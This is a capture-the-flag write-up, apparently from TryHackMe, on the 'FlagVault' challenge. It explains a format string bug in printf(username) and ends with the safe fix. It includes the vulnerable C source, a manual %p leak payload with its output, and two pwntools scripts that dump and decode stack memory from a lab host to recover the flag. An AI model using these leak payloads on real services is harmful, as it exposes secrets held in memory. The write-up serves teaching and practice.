Challenge Info#

Introduction#

FlagVault is a binary exploitation challenge. The program asks for a username, then prints a greeting message. The banner says that version 2.1 fixed the old issue and that the flag cannot be printed anymore.

That message is bait.

The flag is not printed directly, but it is still loaded into memory. The real bug is a format string vulnerability caused by unsafe usage of printf().

Connecting to the Service#

We start by connecting to the remote service.

1
nc 10.128.150.9 1337

The program prints the banner and asks for a username.

1
Username:

At this point, the challenge looks simple: send a username and receive a normal greeting. But because the username is later passed directly into printf(), the input can control how printf() reads values from memory.

Source Code Review#

The important part of the source code is inside print_flag().

1
void print_flag(char *username){
2
        FILE *f = fopen("flag.txt","r");
3
        char flag[200];
4

5
        fgets(flag, 199, f);
6
        //printf("%s", flag);
7

8
        printf("Hello, ");
9
        printf(username);
10
        printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n");
11
        printf("Yours truly,\nByteReaper\n\n");
12
}

The developer commented out the line that prints the flag.

1
//printf("%s", flag);

But this does not mean the flag disappeared.

The flag is still read from flag.txt.

1
fgets(flag, 199, f);

So the flag exists in stack memory.

The broken line is this one.

1
printf(username);

This is the actual vulnerability.

Why This Is Vulnerable#

printf() uses format specifiers.

For example:

1
printf("%p");

prints a pointer value.

1
printf("%lx");

prints a long hexadecimal value.

The program should have used this safe version.

1
printf("%s", username);

But instead, it gives user input directly to printf().

1
printf(username);

That means whatever we type as the username becomes a format string.

So if we send:

1
%p %p %p %p

the program will start printing values from memory.

This does not execute code by itself, but it gives us a memory leak. Since the flag was already loaded into a local stack buffer, leaking stack values is enough to recover it.

First Test#

We test the vulnerability manually with netcat.

1
nc 10.128.150.9 1337

Payload:

1
AAAA %p %p %p %p %p %p %p %p

Output:

1
Hello, AAAA 0x7ffd45282d40 (nil) 0x7f1ebc4e0887 0x7 0x55894d1d2480 (nil) 0x7ffd45284f60 0x7f1ebc5e3600. Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...

This confirms that the format string is working.

We are leaking memory.

Dumping More Stack Values#

Now we need to dump more stack values to search for the flag.

Instead of typing everything manually, we use Python.

The idea is:

1. Connect to the service.
2. Send many positional format specifiers like %1$lx, %2$lx, %3$lx.
3. Collect the leaked hexadecimal values.
4. Convert each leaked value back to bytes.
5. Decode the bytes in little-endian order, because the target is storing stack values in little-endian format.

Python Exploit Script#

1
from pwn import *
2

3
host = "10.128.150.9"
4
port = 1337
5

6
p = remote(host, port)
7
p.recvuntil(b"Username: ")
8

9
payload = " ".join([f"%{i}$lx" for i in range(1, 150)])
10
p.sendline(payload.encode())
11

12
out = p.recvall(timeout=3).decode(errors="ignore")
13
print(out)
14

15
raw = b""
16

17
for x in out.split():
18
    try:
19
        raw += int(x, 16).to_bytes(8, "little")
20
    except:
21
        pass
22

23
print("\n[+] Decoded:")
24
print(raw.decode(errors="ignore"))

Run it.

1
python3 solve.py

Understanding the Script#

This line builds the payload:

1
payload = " ".join([f"%{i}$lx" for i in range(1, 150)])

Instead of using plain %lx, we use positional format specifiers:

1
%1$lx %2$lx %3$lx ...

That makes the output easier to analyze because each leaked value comes from a specific stack position.

After receiving the output, the script tries to parse every space-separated value as hexadecimal:

1
raw += int(x, 16).to_bytes(8, "little")

The important part is:

1
to_bytes(8, "little")

Each %lx leak gives us up to 8 bytes. On x86_64 Linux, values are commonly represented in little-endian order, so reversing them into bytes is necessary to make strings readable.

Extracting the Flag#

Once the decoded output is printed, we search inside it for the flag format used by the challenge.

Depending on the platform, it may look like:

1
THM{...}

or:

1
flag{...}

If the output is noisy, we can make the script easier to read by searching for common flag markers:

1
decoded = raw.decode(errors="ignore")
2

3
for marker in ("THM{", "flag{", "CTF{"):
4
    index = decoded.find(marker)
5
    if index != -1:
6
        print(decoded[index:index + 120])

This does not change the exploit. It only helps us locate the useful part of the leaked memory faster.

Cleaner Final Script#

Here is a slightly cleaner version that leaks the stack, decodes it, and tries to print only the interesting flag-looking part.

1
from pwn import *
2

3
host = "10.128.150.9"
4
port = 1337
5

6
payload = " ".join(f"%{i}$lx" for i in range(1, 150))
7

8
p = remote(host, port)
9
p.recvuntil(b"Username: ")
10
p.sendline(payload.encode())
11

12
out = p.recvall(timeout=3).decode(errors="ignore")
13
p.close()
14

15
raw = b""
16

17
for value in out.split():
18
    try:
19
        raw += int(value, 16).to_bytes(8, "little")
20
    except ValueError:
21
        continue
22

23
decoded = raw.decode(errors="ignore")
24
print(decoded)
25

26
for marker in ("THM{", "flag{", "CTF{"):
27
    index = decoded.find(marker)
28
    if index != -1:
29
        print(f"\n[+] Flag candidate: {decoded[index:index + 120]}")
30
        break

Root Cause#

The bug is not that the flag file exists, and it is not only that the old printf("%s", flag) line was removed.

The real root cause is that user-controlled data is used as the format string:

1
printf(username);

The safe fix is:

1
printf("%s", username);

With this change, user input is treated as a normal string, not as a list of instructions for printf().

Conclusion#

FlagVault tries to hide the flag by commenting out the direct print statement, but the flag is still loaded into stack memory.

Because the program calls printf(username), we can send format specifiers, leak stack values, decode them from hexadecimal, and recover the flag from memory.

The main lesson is simple: never pass user input directly as a format string. Always use a fixed format like printf("%s", input).